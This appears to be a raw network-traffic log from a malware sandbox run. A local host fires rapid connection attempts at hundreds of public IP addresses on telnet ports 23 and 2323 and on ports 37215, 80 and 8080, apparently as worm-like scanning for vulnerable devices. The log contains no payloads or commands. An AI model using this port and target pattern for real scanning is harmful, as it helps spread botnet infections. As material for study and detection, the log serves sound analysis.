Mar 4, 2024 15:05:30.154078007 CET	50393	23	192.168.2.13	206.176.104.158
Mar 4, 2024 15:05:30.154078007 CET	50393	23	192.168.2.13	35.214.192.80
Mar 4, 2024 15:05:30.154095888 CET	50393	23	192.168.2.13	39.81.95.169
Mar 4, 2024 15:05:30.154098034 CET	50393	23	192.168.2.13	136.109.177.34
Mar 4, 2024 15:05:30.154098034 CET	50393	23	192.168.2.13	207.149.194.246
Mar 4, 2024 15:05:30.154103041 CET	50393	23	192.168.2.13	198.27.76.194
Mar 4, 2024 15:05:30.154113054 CET	50393	2323	192.168.2.13	57.17.179.204
Mar 4, 2024 15:05:30.154115915 CET	50393	23	192.168.2.13	34.1.114.112
Mar 4, 2024 15:05:30.154139042 CET	50393	23	192.168.2.13	69.242.167.227
Mar 4, 2024 15:05:30.154139996 CET	50393	23	192.168.2.13	73.104.221.78
Mar 4, 2024 15:05:30.154153109 CET	50393	23	192.168.2.13	102.188.214.190
Mar 4, 2024 15:05:30.154155970 CET	50393	23	192.168.2.13	27.163.36.133
Mar 4, 2024 15:05:30.154159069 CET	50393	23	192.168.2.13	63.216.29.86
Mar 4, 2024 15:05:30.154165983 CET	50393	23	192.168.2.13	20.38.168.31
Mar 4, 2024 15:05:30.154165983 CET	50393	23	192.168.2.13	202.109.241.225
Mar 4, 2024 15:05:30.154180050 CET	50393	2323	192.168.2.13	128.86.156.25
Mar 4, 2024 15:05:30.154186010 CET	50393	23	192.168.2.13	32.46.116.36
Mar 4, 2024 15:05:30.154202938 CET	50393	23	192.168.2.13	189.143.74.113
Mar 4, 2024 15:05:30.154203892 CET	50393	23	192.168.2.13	12.223.200.157
Mar 4, 2024 15:05:30.154203892 CET	50393	23	192.168.2.13	223.46.192.54
Mar 4, 2024 15:05:30.154203892 CET	50393	23	192.168.2.13	166.206.15.86
Mar 4, 2024 15:05:30.154213905 CET	50393	23	192.168.2.13	207.198.92.177
Mar 4, 2024 15:05:30.154236078 CET	50393	23	192.168.2.13	96.168.57.186
Mar 4, 2024 15:05:30.154236078 CET	50393	23	192.168.2.13	43.3.108.6
Mar 4, 2024 15:05:30.154242992 CET	50393	23	192.168.2.13	193.213.181.134
Mar 4, 2024 15:05:30.154243946 CET	50393	23	192.168.2.13	137.254.127.63
Mar 4, 2024 15:05:30.154247999 CET	50393	2323	192.168.2.13	4.107.129.25
Mar 4, 2024 15:05:30.154263973 CET	50393	23	192.168.2.13	191.187.151.111
Mar 4, 2024 15:05:30.154272079 CET	50393	23	192.168.2.13	175.68.181.246
Mar 4, 2024 15:05:30.154273987 CET	50393	23	192.168.2.13	181.63.132.174
Mar 4, 2024 15:05:30.154279947 CET	50393	23	192.168.2.13	140.200.168.110
Mar 4, 2024 15:05:30.154292107 CET	50393	23	192.168.2.13	5.68.178.69
Mar 4, 2024 15:05:30.154301882 CET	50393	23	192.168.2.13	164.142.17.124
Mar 4, 2024 15:05:30.154304028 CET	50393	23	192.168.2.13	64.41.254.125
Mar 4, 2024 15:05:30.154304028 CET	50393	23	192.168.2.13	107.163.124.119
Mar 4, 2024 15:05:30.154313087 CET	50393	23	192.168.2.13	107.18.99.33
Mar 4, 2024 15:05:30.154324055 CET	50393	2323	192.168.2.13	220.147.141.217
Mar 4, 2024 15:05:30.154326916 CET	50393	23	192.168.2.13	185.123.187.145
Mar 4, 2024 15:05:30.154330015 CET	50393	23	192.168.2.13	83.93.223.175
Mar 4, 2024 15:05:30.154339075 CET	50393	23	192.168.2.13	118.61.27.219
Mar 4, 2024 15:05:30.154340982 CET	50393	23	192.168.2.13	158.253.36.93
Mar 4, 2024 15:05:30.154340982 CET	50393	23	192.168.2.13	204.74.29.113
Mar 4, 2024 15:05:30.154341936 CET	50393	23	192.168.2.13	82.162.163.35
Mar 4, 2024 15:05:30.154354095 CET	50393	23	192.168.2.13	210.142.92.178
Mar 4, 2024 15:05:30.154370070 CET	50393	23	192.168.2.13	113.21.119.94
Mar 4, 2024 15:05:30.154376984 CET	50393	2323	192.168.2.13	49.161.47.4
Mar 4, 2024 15:05:30.154386044 CET	50393	23	192.168.2.13	168.54.153.70
Mar 4, 2024 15:05:30.154386997 CET	50393	23	192.168.2.13	76.218.82.179
Mar 4, 2024 15:05:30.154388905 CET	50393	23	192.168.2.13	120.41.177.135
Mar 4, 2024 15:05:30.154390097 CET	50393	23	192.168.2.13	106.43.109.18
Mar 4, 2024 15:05:30.154393911 CET	50393	23	192.168.2.13	98.219.53.147
Mar 4, 2024 15:05:30.154393911 CET	50393	23	192.168.2.13	201.212.124.159
Mar 4, 2024 15:05:30.154395103 CET	50393	23	192.168.2.13	217.123.39.49
Mar 4, 2024 15:05:30.154409885 CET	50393	23	192.168.2.13	58.71.10.231
Mar 4, 2024 15:05:30.154416084 CET	50393	23	192.168.2.13	169.94.247.32
Mar 4, 2024 15:05:30.154421091 CET	50393	2323	192.168.2.13	1.35.240.102
Mar 4, 2024 15:05:30.154423952 CET	50393	23	192.168.2.13	118.49.180.119
Mar 4, 2024 15:05:30.154433966 CET	50393	23	192.168.2.13	72.221.174.109
Mar 4, 2024 15:05:30.154443026 CET	50393	23	192.168.2.13	78.20.30.176
Mar 4, 2024 15:05:30.154448986 CET	50393	23	192.168.2.13	19.3.161.41
Mar 4, 2024 15:05:30.154459000 CET	50393	23	192.168.2.13	59.151.92.57
Mar 4, 2024 15:05:30.154464006 CET	50393	23	192.168.2.13	46.9.126.204
Mar 4, 2024 15:05:30.154464006 CET	50393	23	192.168.2.13	219.44.75.159
Mar 4, 2024 15:05:30.154474020 CET	50393	23	192.168.2.13	67.30.63.127
Mar 4, 2024 15:05:30.154484034 CET	50393	23	192.168.2.13	212.114.131.25
Mar 4, 2024 15:05:30.154484034 CET	50393	23	192.168.2.13	13.182.82.1
Mar 4, 2024 15:05:30.154484987 CET	50393	2323	192.168.2.13	83.138.55.153
Mar 4, 2024 15:05:30.154484987 CET	50393	23	192.168.2.13	152.255.112.72
Mar 4, 2024 15:05:30.154484987 CET	50393	23	192.168.2.13	23.156.120.244
Mar 4, 2024 15:05:30.154495001 CET	50393	23	192.168.2.13	190.114.17.209
Mar 4, 2024 15:05:30.154506922 CET	50393	23	192.168.2.13	202.169.204.71
Mar 4, 2024 15:05:30.154516935 CET	50393	23	192.168.2.13	23.52.235.175
Mar 4, 2024 15:05:30.154520988 CET	50393	23	192.168.2.13	81.6.28.247
Mar 4, 2024 15:05:30.154520988 CET	50393	23	192.168.2.13	154.211.111.216
Mar 4, 2024 15:05:30.154527903 CET	50393	23	192.168.2.13	44.55.114.247
Mar 4, 2024 15:05:30.154535055 CET	50393	23	192.168.2.13	140.144.208.214
Mar 4, 2024 15:05:30.154541016 CET	50393	23	192.168.2.13	213.115.66.230
Mar 4, 2024 15:05:30.154541016 CET	50393	23	192.168.2.13	119.106.189.129
Mar 4, 2024 15:05:30.154552937 CET	50393	2323	192.168.2.13	158.236.203.239
Mar 4, 2024 15:05:30.154552937 CET	50393	23	192.168.2.13	12.180.134.198
Mar 4, 2024 15:05:30.154561043 CET	50393	23	192.168.2.13	80.7.121.139
Mar 4, 2024 15:05:30.154561043 CET	50393	23	192.168.2.13	20.55.210.48
Mar 4, 2024 15:05:30.154562950 CET	50393	23	192.168.2.13	58.236.84.123
Mar 4, 2024 15:05:30.154589891 CET	50393	23	192.168.2.13	205.83.243.128
Mar 4, 2024 15:05:30.154593945 CET	50393	23	192.168.2.13	147.215.110.199
Mar 4, 2024 15:05:30.154593945 CET	50393	23	192.168.2.13	114.95.200.152
Mar 4, 2024 15:05:30.154594898 CET	50393	23	192.168.2.13	212.17.137.117
Mar 4, 2024 15:05:30.154601097 CET	50393	2323	192.168.2.13	155.103.239.89
Mar 4, 2024 15:05:30.154607058 CET	50393	23	192.168.2.13	137.228.91.205
Mar 4, 2024 15:05:30.154614925 CET	50393	23	192.168.2.13	184.193.75.219
Mar 4, 2024 15:05:30.154614925 CET	50393	23	192.168.2.13	95.99.94.174
Mar 4, 2024 15:05:30.154619932 CET	50393	23	192.168.2.13	78.206.208.59
Mar 4, 2024 15:05:30.154623985 CET	50393	23	192.168.2.13	174.63.181.77
Mar 4, 2024 15:05:30.154623985 CET	50393	23	192.168.2.13	147.245.76.127
Mar 4, 2024 15:05:30.154637098 CET	50393	23	192.168.2.13	124.146.147.154
Mar 4, 2024 15:05:30.154639006 CET	50393	23	192.168.2.13	65.112.74.168
Mar 4, 2024 15:05:30.154644012 CET	50393	23	192.168.2.13	169.192.39.238
Mar 4, 2024 15:05:30.154644012 CET	50393	23	192.168.2.13	43.162.176.219
Mar 4, 2024 15:05:30.154647112 CET	50393	23	192.168.2.13	57.29.147.196
Mar 4, 2024 15:05:30.154649019 CET	50393	23	192.168.2.13	188.150.156.9
Mar 4, 2024 15:05:30.154660940 CET	50393	23	192.168.2.13	163.84.26.161
Mar 4, 2024 15:05:30.154659986 CET	50393	2323	192.168.2.13	99.56.220.50
Mar 4, 2024 15:05:30.154660940 CET	50393	2323	192.168.2.13	207.242.247.120
Mar 4, 2024 15:05:30.154659986 CET	50393	23	192.168.2.13	200.246.208.176
Mar 4, 2024 15:05:30.154664040 CET	50393	23	192.168.2.13	206.8.183.255
Mar 4, 2024 15:05:30.154664040 CET	50393	23	192.168.2.13	68.196.249.124
Mar 4, 2024 15:05:30.154660940 CET	50393	23	192.168.2.13	209.177.90.79
Mar 4, 2024 15:05:30.154664993 CET	50393	23	192.168.2.13	148.254.189.254
Mar 4, 2024 15:05:30.154669046 CET	50393	23	192.168.2.13	113.85.2.81
Mar 4, 2024 15:05:30.154669046 CET	50393	23	192.168.2.13	168.5.142.139
Mar 4, 2024 15:05:30.154669046 CET	50393	23	192.168.2.13	203.58.48.15
Mar 4, 2024 15:05:30.154674053 CET	50393	23	192.168.2.13	210.77.207.11
Mar 4, 2024 15:05:30.154683113 CET	50393	23	192.168.2.13	62.53.126.248
Mar 4, 2024 15:05:30.154687881 CET	50393	23	192.168.2.13	37.150.124.50
Mar 4, 2024 15:05:30.154690981 CET	50393	23	192.168.2.13	177.248.162.227
Mar 4, 2024 15:05:30.154706955 CET	50393	2323	192.168.2.13	145.71.64.237
Mar 4, 2024 15:05:30.154706955 CET	50393	23	192.168.2.13	136.169.3.168
Mar 4, 2024 15:05:30.154715061 CET	50393	23	192.168.2.13	115.131.250.102
Mar 4, 2024 15:05:30.154721975 CET	50393	23	192.168.2.13	194.236.30.145
Mar 4, 2024 15:05:30.154738903 CET	50393	23	192.168.2.13	2.50.234.28
Mar 4, 2024 15:05:30.154742956 CET	50393	23	192.168.2.13	109.236.213.60
Mar 4, 2024 15:05:30.154752016 CET	50393	23	192.168.2.13	159.78.236.227
Mar 4, 2024 15:05:30.154752970 CET	50393	23	192.168.2.13	49.37.157.174
Mar 4, 2024 15:05:30.154757977 CET	50393	23	192.168.2.13	124.213.8.145
Mar 4, 2024 15:05:30.154761076 CET	50393	23	192.168.2.13	168.73.218.116
Mar 4, 2024 15:05:30.154769897 CET	50393	23	192.168.2.13	37.83.115.49
Mar 4, 2024 15:05:30.154773951 CET	50393	2323	192.168.2.13	66.107.116.12
Mar 4, 2024 15:05:30.154778957 CET	50393	23	192.168.2.13	186.188.76.127
Mar 4, 2024 15:05:30.154795885 CET	50393	23	192.168.2.13	78.148.135.216
Mar 4, 2024 15:05:30.154797077 CET	50393	23	192.168.2.13	5.75.232.226
Mar 4, 2024 15:05:30.154812098 CET	50393	23	192.168.2.13	104.143.18.71
Mar 4, 2024 15:05:30.154812098 CET	50393	23	192.168.2.13	70.95.172.102
Mar 4, 2024 15:05:30.154828072 CET	50393	23	192.168.2.13	152.120.126.65
Mar 4, 2024 15:05:30.154828072 CET	50393	23	192.168.2.13	182.248.55.55
Mar 4, 2024 15:05:30.154829979 CET	50393	2323	192.168.2.13	77.219.104.243
Mar 4, 2024 15:05:30.154839039 CET	50393	23	192.168.2.13	34.154.1.15
Mar 4, 2024 15:05:30.154839993 CET	50393	23	192.168.2.13	74.224.226.146
Mar 4, 2024 15:05:30.154846907 CET	50393	23	192.168.2.13	168.81.159.14
Mar 4, 2024 15:05:30.154850006 CET	50393	23	192.168.2.13	136.81.99.10
Mar 4, 2024 15:05:30.154856920 CET	50393	23	192.168.2.13	77.221.164.165
Mar 4, 2024 15:05:30.154858112 CET	50393	23	192.168.2.13	99.90.132.197
Mar 4, 2024 15:05:30.154863119 CET	50393	23	192.168.2.13	8.189.124.6
Mar 4, 2024 15:05:30.154870033 CET	50393	23	192.168.2.13	20.2.192.250
Mar 4, 2024 15:05:30.154875040 CET	50393	23	192.168.2.13	147.60.145.173
Mar 4, 2024 15:05:30.154879093 CET	50393	23	192.168.2.13	68.66.13.62
Mar 4, 2024 15:05:30.154886961 CET	50393	23	192.168.2.13	12.59.110.89
Mar 4, 2024 15:05:30.154891968 CET	50393	23	192.168.2.13	159.32.138.242
Mar 4, 2024 15:05:30.154906034 CET	50393	23	192.168.2.13	166.168.7.52
Mar 4, 2024 15:05:30.154906034 CET	50393	23	192.168.2.13	91.94.133.205
Mar 4, 2024 15:05:30.154912949 CET	50393	2323	192.168.2.13	106.125.211.1
Mar 4, 2024 15:05:30.154912949 CET	50393	23	192.168.2.13	188.26.68.4
Mar 4, 2024 15:05:30.154916048 CET	50393	23	192.168.2.13	99.173.49.97
Mar 4, 2024 15:05:30.154922009 CET	50393	23	192.168.2.13	163.143.246.95
Mar 4, 2024 15:05:30.154923916 CET	50393	23	192.168.2.13	113.53.54.8
Mar 4, 2024 15:05:30.154942036 CET	50393	23	192.168.2.13	116.124.47.227
Mar 4, 2024 15:05:30.154947042 CET	50393	23	192.168.2.13	186.236.240.104
Mar 4, 2024 15:05:30.154957056 CET	50393	2323	192.168.2.13	161.111.182.148
Mar 4, 2024 15:05:30.154958963 CET	50393	23	192.168.2.13	121.119.229.12
Mar 4, 2024 15:05:30.154970884 CET	50393	23	192.168.2.13	34.19.207.177
Mar 4, 2024 15:05:30.154978037 CET	50393	23	192.168.2.13	14.167.178.137
Mar 4, 2024 15:05:30.252347946 CET	37215	47833	157.245.85.170	192.168.2.13
Mar 4, 2024 15:05:30.388499975 CET	80	48089	88.87.83.178	192.168.2.13
Mar 4, 2024 15:05:30.452663898 CET	8080	47577	94.56.102.33	192.168.2.13
Mar 4, 2024 15:05:30.544682980 CET	37215	47833	157.245.200.232	192.168.2.13
Mar 4, 2024 15:05:31.145303965 CET	47833	37215	192.168.2.13	157.89.100.184
Mar 4, 2024 15:05:31.145311117 CET	47833	37215	192.168.2.13	157.182.232.40
Mar 4, 2024 15:05:31.145329952 CET	47833	37215	192.168.2.13	157.169.110.191
Mar 4, 2024 15:05:31.145328999 CET	47833	37215	192.168.2.13	157.10.13.14
Mar 4, 2024 15:05:31.145328999 CET	47833	37215	192.168.2.13	157.204.15.223
Mar 4, 2024 15:05:31.145349026 CET	47833	37215	192.168.2.13	157.30.81.81
Mar 4, 2024 15:05:31.145349026 CET	47833	37215	192.168.2.13	157.62.202.97
Mar 4, 2024 15:05:31.145350933 CET	47833	37215	192.168.2.13	157.62.153.238
Mar 4, 2024 15:05:31.145359039 CET	47833	37215	192.168.2.13	157.15.65.19
Mar 4, 2024 15:05:31.145380020 CET	47833	37215	192.168.2.13	157.41.136.14
Mar 4, 2024 15:05:31.145380020 CET	47833	37215	192.168.2.13	157.156.39.55
Mar 4, 2024 15:05:31.145397902 CET	47833	37215	192.168.2.13	157.183.173.105
Mar 4, 2024 15:05:31.145406961 CET	47833	37215	192.168.2.13	157.39.133.199
Mar 4, 2024 15:05:31.145410061 CET	47833	37215	192.168.2.13	157.162.26.220
Mar 4, 2024 15:05:31.145416975 CET	47833	37215	192.168.2.13	157.97.92.147
Mar 4, 2024 15:05:31.145416975 CET	47833	37215	192.168.2.13	157.193.204.200
Mar 4, 2024 15:05:31.145421028 CET	47833	37215	192.168.2.13	157.26.235.102
Mar 4, 2024 15:05:31.145421028 CET	47833	37215	192.168.2.13	157.192.200.68
Mar 4, 2024 15:05:31.145421028 CET	47833	37215	192.168.2.13	157.62.119.246
Mar 4, 2024 15:05:31.145421028 CET	47833	37215	192.168.2.13	157.205.234.122
Mar 4, 2024 15:05:31.145421028 CET	47833	37215	192.168.2.13	157.67.182.49
Mar 4, 2024 15:05:31.145440102 CET	47833	37215	192.168.2.13	157.119.202.135
Mar 4, 2024 15:05:31.145443916 CET	47833	37215	192.168.2.13	157.64.234.11
Mar 4, 2024 15:05:31.145443916 CET	47833	37215	192.168.2.13	157.56.137.249
Mar 4, 2024 15:05:31.145445108 CET	47833	37215	192.168.2.13	157.146.39.80
Mar 4, 2024 15:05:31.145443916 CET	47833	37215	192.168.2.13	157.88.206.53
Mar 4, 2024 15:05:31.145443916 CET	47833	37215	192.168.2.13	157.156.180.148
Mar 4, 2024 15:05:31.145467997 CET	47833	37215	192.168.2.13	157.187.209.2
Mar 4, 2024 15:05:31.145476103 CET	47833	37215	192.168.2.13	157.27.177.43
Mar 4, 2024 15:05:31.145478964 CET	47833	37215	192.168.2.13	157.209.20.156
Mar 4, 2024 15:05:31.145476103 CET	47833	37215	192.168.2.13	157.149.79.139
Mar 4, 2024 15:05:31.145481110 CET	47833	37215	192.168.2.13	157.104.203.0
Mar 4, 2024 15:05:31.145476103 CET	47833	37215	192.168.2.13	157.196.248.235
Mar 4, 2024 15:05:31.145487070 CET	47833	37215	192.168.2.13	157.252.107.36
Mar 4, 2024 15:05:31.145488977 CET	47833	37215	192.168.2.13	157.29.214.73
Mar 4, 2024 15:05:31.145498037 CET	47833	37215	192.168.2.13	157.180.218.152
Mar 4, 2024 15:05:31.145514965 CET	47833	37215	192.168.2.13	157.45.253.98
Mar 4, 2024 15:05:31.145517111 CET	47833	37215	192.168.2.13	157.157.169.167
Mar 4, 2024 15:05:31.145524025 CET	47833	37215	192.168.2.13	157.11.124.168
Mar 4, 2024 15:05:31.145533085 CET	47833	37215	192.168.2.13	157.206.162.95
Mar 4, 2024 15:05:31.145535946 CET	47833	37215	192.168.2.13	157.57.146.234
Mar 4, 2024 15:05:31.145535946 CET	47833	37215	192.168.2.13	157.86.167.132
Mar 4, 2024 15:05:31.145544052 CET	47833	37215	192.168.2.13	157.90.184.134
Mar 4, 2024 15:05:31.145546913 CET	47833	37215	192.168.2.13	157.195.196.39
Mar 4, 2024 15:05:31.145560026 CET	47833	37215	192.168.2.13	157.158.206.159
Mar 4, 2024 15:05:31.145562887 CET	47833	37215	192.168.2.13	157.160.1.68
Mar 4, 2024 15:05:31.145564079 CET	47833	37215	192.168.2.13	157.187.34.215
Mar 4, 2024 15:05:31.145576954 CET	47833	37215	192.168.2.13	157.8.54.52
Mar 4, 2024 15:05:31.145581961 CET	47833	37215	192.168.2.13	157.50.161.26
Mar 4, 2024 15:05:31.145584106 CET	47833	37215	192.168.2.13	157.187.233.104
Mar 4, 2024 15:05:31.145596981 CET	47833	37215	192.168.2.13	157.92.4.122
Mar 4, 2024 15:05:31.145597935 CET	47833	37215	192.168.2.13	157.146.189.112
Mar 4, 2024 15:05:31.145597935 CET	47833	37215	192.168.2.13	157.65.108.71
Mar 4, 2024 15:05:31.145611048 CET	47833	37215	192.168.2.13	157.128.121.224
Mar 4, 2024 15:05:31.145622015 CET	47833	37215	192.168.2.13	157.74.16.86
Mar 4, 2024 15:05:31.145625114 CET	47833	37215	192.168.2.13	157.126.214.54
Mar 4, 2024 15:05:31.145625114 CET	47833	37215	192.168.2.13	157.191.168.146
Mar 4, 2024 15:05:31.145642996 CET	47833	37215	192.168.2.13	157.107.146.65
Mar 4, 2024 15:05:31.145644903 CET	47833	37215	192.168.2.13	157.1.70.117
Mar 4, 2024 15:05:31.145653963 CET	47833	37215	192.168.2.13	157.240.162.61
Mar 4, 2024 15:05:31.145654917 CET	47833	37215	192.168.2.13	157.52.93.101
Mar 4, 2024 15:05:31.145661116 CET	47833	37215	192.168.2.13	157.247.137.84
Mar 4, 2024 15:05:31.145670891 CET	47833	37215	192.168.2.13	157.172.165.21
Mar 4, 2024 15:05:31.145684958 CET	47833	37215	192.168.2.13	157.191.248.31
Mar 4, 2024 15:05:31.145690918 CET	47833	37215	192.168.2.13	157.118.125.75
Mar 4, 2024 15:05:31.145698071 CET	47833	37215	192.168.2.13	157.246.171.60
Mar 4, 2024 15:05:31.145704031 CET	47833	37215	192.168.2.13	157.95.224.132
Mar 4, 2024 15:05:31.145714045 CET	47833	37215	192.168.2.13	157.182.174.133
Mar 4, 2024 15:05:31.145718098 CET	47833	37215	192.168.2.13	157.163.113.65
Mar 4, 2024 15:05:31.145729065 CET	47833	37215	192.168.2.13	157.211.164.255
Mar 4, 2024 15:05:31.145730019 CET	47833	37215	192.168.2.13	157.235.51.136
Mar 4, 2024 15:05:31.145740032 CET	47833	37215	192.168.2.13	157.11.82.19
Mar 4, 2024 15:05:31.145744085 CET	47833	37215	192.168.2.13	157.218.132.192
Mar 4, 2024 15:05:31.145752907 CET	47833	37215	192.168.2.13	157.73.140.62
Mar 4, 2024 15:05:31.145756006 CET	47833	37215	192.168.2.13	157.224.88.120
Mar 4, 2024 15:05:31.145757914 CET	47833	37215	192.168.2.13	157.76.91.9
Mar 4, 2024 15:05:31.145772934 CET	47833	37215	192.168.2.13	157.213.33.149
Mar 4, 2024 15:05:31.145773888 CET	47833	37215	192.168.2.13	157.22.111.29
Mar 4, 2024 15:05:31.145787001 CET	47833	37215	192.168.2.13	157.70.23.94
Mar 4, 2024 15:05:31.145787001 CET	47833	37215	192.168.2.13	157.79.160.209
Mar 4, 2024 15:05:31.145787954 CET	47833	37215	192.168.2.13	157.255.128.152
Mar 4, 2024 15:05:31.145798922 CET	47833	37215	192.168.2.13	157.204.225.134
Mar 4, 2024 15:05:31.145807981 CET	47833	37215	192.168.2.13	157.129.71.3
Mar 4, 2024 15:05:31.145814896 CET	47833	37215	192.168.2.13	157.99.115.253
Mar 4, 2024 15:05:31.145814896 CET	47833	37215	192.168.2.13	157.140.108.98
Mar 4, 2024 15:05:31.145824909 CET	47833	37215	192.168.2.13	157.85.120.195
Mar 4, 2024 15:05:31.145829916 CET	47833	37215	192.168.2.13	157.208.97.159
Mar 4, 2024 15:05:31.145842075 CET	47833	37215	192.168.2.13	157.98.93.141
Mar 4, 2024 15:05:31.145848036 CET	47833	37215	192.168.2.13	157.135.226.125
Mar 4, 2024 15:05:31.145848989 CET	47833	37215	192.168.2.13	157.83.152.250
Mar 4, 2024 15:05:31.145858049 CET	47833	37215	192.168.2.13	157.116.167.90
Mar 4, 2024 15:05:31.145867109 CET	47833	37215	192.168.2.13	157.239.19.75
Mar 4, 2024 15:05:31.145873070 CET	47833	37215	192.168.2.13	157.163.91.190
Mar 4, 2024 15:05:31.145874977 CET	47833	37215	192.168.2.13	157.129.28.215
Mar 4, 2024 15:05:31.145875931 CET	47833	37215	192.168.2.13	157.27.207.2
Mar 4, 2024 15:05:31.145891905 CET	47833	37215	192.168.2.13	157.91.243.31
Mar 4, 2024 15:05:31.145894051 CET	47833	37215	192.168.2.13	157.231.194.45
Mar 4, 2024 15:05:31.145906925 CET	47833	37215	192.168.2.13	157.167.232.9
Mar 4, 2024 15:05:31.145908117 CET	47833	37215	192.168.2.13	157.200.184.42
Mar 4, 2024 15:05:31.145912886 CET	47833	37215	192.168.2.13	157.164.151.160
Mar 4, 2024 15:05:31.145916939 CET	47833	37215	192.168.2.13	157.156.98.67
Mar 4, 2024 15:05:31.145920038 CET	47833	37215	192.168.2.13	157.80.173.98
Mar 4, 2024 15:05:31.145936012 CET	47833	37215	192.168.2.13	157.113.157.37
Mar 4, 2024 15:05:31.145939112 CET	47833	37215	192.168.2.13	157.31.152.122
Mar 4, 2024 15:05:31.145941973 CET	47833	37215	192.168.2.13	157.195.52.180
Mar 4, 2024 15:05:31.145941973 CET	47833	37215	192.168.2.13	157.23.234.166
Mar 4, 2024 15:05:31.145955086 CET	47833	37215	192.168.2.13	157.172.253.129
Mar 4, 2024 15:05:31.145957947 CET	47833	37215	192.168.2.13	157.34.170.255
Mar 4, 2024 15:05:31.145967960 CET	47833	37215	192.168.2.13	157.242.220.45
Mar 4, 2024 15:05:31.145973921 CET	47833	37215	192.168.2.13	157.130.13.247
Mar 4, 2024 15:05:31.145977974 CET	47833	37215	192.168.2.13	157.226.213.59
Mar 4, 2024 15:05:31.145982027 CET	47833	37215	192.168.2.13	157.237.19.59
Mar 4, 2024 15:05:31.146002054 CET	47833	37215	192.168.2.13	157.234.94.254
Mar 4, 2024 15:05:31.146008015 CET	47833	37215	192.168.2.13	157.5.108.193
Mar 4, 2024 15:05:31.146011114 CET	47833	37215	192.168.2.13	157.80.28.191
Mar 4, 2024 15:05:31.146011114 CET	47833	37215	192.168.2.13	157.137.14.31
Mar 4, 2024 15:05:31.146033049 CET	47833	37215	192.168.2.13	157.240.87.227
Mar 4, 2024 15:05:31.146034956 CET	47833	37215	192.168.2.13	157.158.217.188
Mar 4, 2024 15:05:31.146035910 CET	47833	37215	192.168.2.13	157.88.151.254
Mar 4, 2024 15:05:31.146044970 CET	47833	37215	192.168.2.13	157.194.201.176
Mar 4, 2024 15:05:31.146047115 CET	47833	37215	192.168.2.13	157.192.237.90
Mar 4, 2024 15:05:31.146055937 CET	47833	37215	192.168.2.13	157.41.245.236
Mar 4, 2024 15:05:31.146059036 CET	47833	37215	192.168.2.13	157.124.222.59
Mar 4, 2024 15:05:31.146069050 CET	47833	37215	192.168.2.13	157.226.6.203
Mar 4, 2024 15:05:31.146086931 CET	47833	37215	192.168.2.13	157.28.46.199
Mar 4, 2024 15:05:31.146089077 CET	47833	37215	192.168.2.13	157.23.125.192
Mar 4, 2024 15:05:31.146089077 CET	47833	37215	192.168.2.13	157.49.248.90
Mar 4, 2024 15:05:31.146105051 CET	47833	37215	192.168.2.13	157.57.110.68
Mar 4, 2024 15:05:31.146110058 CET	47833	37215	192.168.2.13	157.7.122.7
Mar 4, 2024 15:05:31.146120071 CET	47833	37215	192.168.2.13	157.46.38.143
Mar 4, 2024 15:05:31.146121025 CET	47833	37215	192.168.2.13	157.89.6.233
Mar 4, 2024 15:05:31.146126986 CET	47833	37215	192.168.2.13	157.95.33.117
Mar 4, 2024 15:05:31.146126986 CET	47833	37215	192.168.2.13	157.125.251.164
Mar 4, 2024 15:05:31.146147966 CET	47833	37215	192.168.2.13	157.208.211.203
Mar 4, 2024 15:05:31.146147966 CET	47833	37215	192.168.2.13	157.84.40.172
Mar 4, 2024 15:05:31.146153927 CET	47833	37215	192.168.2.13	157.53.90.41
Mar 4, 2024 15:05:31.146161079 CET	47833	37215	192.168.2.13	157.23.50.161
Mar 4, 2024 15:05:31.146173954 CET	47833	37215	192.168.2.13	157.193.36.30
Mar 4, 2024 15:05:31.146177053 CET	47833	37215	192.168.2.13	157.131.218.168
Mar 4, 2024 15:05:31.146187067 CET	47833	37215	192.168.2.13	157.47.55.219
Mar 4, 2024 15:05:31.146188021 CET	47833	37215	192.168.2.13	157.80.203.72
Mar 4, 2024 15:05:31.146194935 CET	47833	37215	192.168.2.13	157.128.160.200
Mar 4, 2024 15:05:31.146199942 CET	47833	37215	192.168.2.13	157.84.228.92
Mar 4, 2024 15:05:31.146200895 CET	47833	37215	192.168.2.13	157.145.104.254
Mar 4, 2024 15:05:31.146199942 CET	47833	37215	192.168.2.13	157.87.241.232
Mar 4, 2024 15:05:31.146207094 CET	47833	37215	192.168.2.13	157.174.172.76
Mar 4, 2024 15:05:31.146219015 CET	47833	37215	192.168.2.13	157.147.5.189
Mar 4, 2024 15:05:31.146241903 CET	47833	37215	192.168.2.13	157.234.87.76
Mar 4, 2024 15:05:31.146241903 CET	47833	37215	192.168.2.13	157.221.53.203
Mar 4, 2024 15:05:31.146241903 CET	47833	37215	192.168.2.13	157.58.57.133
Mar 4, 2024 15:05:31.146245956 CET	47833	37215	192.168.2.13	157.25.125.62
Mar 4, 2024 15:05:31.146249056 CET	47833	37215	192.168.2.13	157.170.255.52
Mar 4, 2024 15:05:31.146249056 CET	47833	37215	192.168.2.13	157.206.189.110
Mar 4, 2024 15:05:31.146259069 CET	47833	37215	192.168.2.13	157.25.162.67
Mar 4, 2024 15:05:31.146277905 CET	47833	37215	192.168.2.13	157.213.140.194
Mar 4, 2024 15:05:31.146280050 CET	47833	37215	192.168.2.13	157.54.116.12
Mar 4, 2024 15:05:31.146290064 CET	47833	37215	192.168.2.13	157.206.19.132
Mar 4, 2024 15:05:31.146291971 CET	47833	37215	192.168.2.13	157.221.58.192
Mar 4, 2024 15:05:31.146291971 CET	47833	37215	192.168.2.13	157.71.164.123
Mar 4, 2024 15:05:31.146311045 CET	47833	37215	192.168.2.13	157.105.33.44
Mar 4, 2024 15:05:31.153775930 CET	48089	80	192.168.2.13	88.184.147.90
Mar 4, 2024 15:05:31.153776884 CET	48089	80	192.168.2.13	88.220.72.38
Mar 4, 2024 15:05:31.153800011 CET	48089	80	192.168.2.13	88.23.38.101
Mar 4, 2024 15:05:31.153803110 CET	48089	80	192.168.2.13	88.120.195.194
Mar 4, 2024 15:05:31.153815031 CET	48089	80	192.168.2.13	88.144.136.168
Mar 4, 2024 15:05:31.153820992 CET	48089	80	192.168.2.13	88.194.167.130
Mar 4, 2024 15:05:31.153840065 CET	48089	80	192.168.2.13	88.112.192.187
Mar 4, 2024 15:05:31.153844118 CET	48089	80	192.168.2.13	88.238.16.171
Mar 4, 2024 15:05:31.153844118 CET	48089	80	192.168.2.13	88.221.175.69
Mar 4, 2024 15:05:31.153863907 CET	48089	80	192.168.2.13	88.159.240.227
Mar 4, 2024 15:05:31.153875113 CET	48089	80	192.168.2.13	88.250.51.183
Mar 4, 2024 15:05:31.153878927 CET	48089	80	192.168.2.13	88.194.106.185
